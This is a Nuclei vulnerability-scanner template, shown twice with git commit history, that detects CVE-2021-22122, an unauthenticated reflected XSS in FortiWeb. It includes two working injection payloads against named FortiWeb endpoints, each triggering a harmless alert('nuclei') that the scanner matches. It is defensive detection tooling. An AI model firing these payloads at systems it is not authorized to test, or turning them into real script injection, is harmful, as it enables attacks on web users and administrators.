nuclei-templates/cves/2021/CVE-2021-22122.yaml

id: CVE-2021-22122

info:
  name: FortiWeb v6.3.x-6.2.x Unauthenticated XSS
  author: dwisiswant0
  severity: medium
  description: |
    An improper neutralization of input during web page generation in FortiWeb GUI interface 6.3.0 through 6.3.7 and version before 6.2.4 may allow an unauthenticated,
    remote attacker to perform a reflected cross site scripting attack (XSS) by injecting malicious payload in different vulnerable API end-points.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-20-122
    - https://twitter.com/ptswarm/status/1357316793753362433
  tags: cve,cve2021,fortiweb,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/error3?msg=30&data=';alert('nuclei');//"
      - "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('nuclei');//"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "nuclei"
          - "No policy has been chosen."
        condition: and
        part: body
:fire: Add CVE-2021-22122 2021-02-04 13:33:19 +00:00			`id: CVE-2021-22122`

			`info:`
			`name: FortiWeb v6.3.x-6.2.x Unauthenticated XSS`
			`author: dwisiswant0`
Update CVE-2021-22122.yaml 2021-02-04 14:13:13 +00:00			`severity: medium`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`description: \|`
			`An improper neutralization of input during web page generation in FortiWeb GUI interface 6.3.0 through 6.3.7 and version before 6.2.4 may allow an unauthenticated,`
			`remote attacker to perform a reflected cross site scripting attack (XSS) by injecting malicious payload in different vulnerable API end-points.`
			`reference:`
Better references and description 2021-03-24 06:48:11 +00:00			`- https://www.fortiguard.com/psirt/FG-IR-20-122`
			`- https://twitter.com/ptswarm/status/1357316793753362433`
Added tags to cves :sunglasses: (#813) * Added tags to cves :sunglasses: 2021-02-05 19:44:41 +00:00			`tags: cve,cve2021,fortiweb,xss`
:fire: Add CVE-2021-22122 2021-02-04 13:33:19 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/error3?msg=30&data=';alert('nuclei');//"`
Update CVE-2021-22122.yaml 2021-06-02 07:47:00 +00:00			`- "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('nuclei');//"`
:fire: Add CVE-2021-22122 2021-02-04 13:33:19 +00:00			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`words:`
			`- "nuclei"`
			`- "No policy has been chosen."`
			`condition: and`
Added new path for CVE-2021-22122.yaml 2021-06-01 23:06:20 +00:00			`part: body`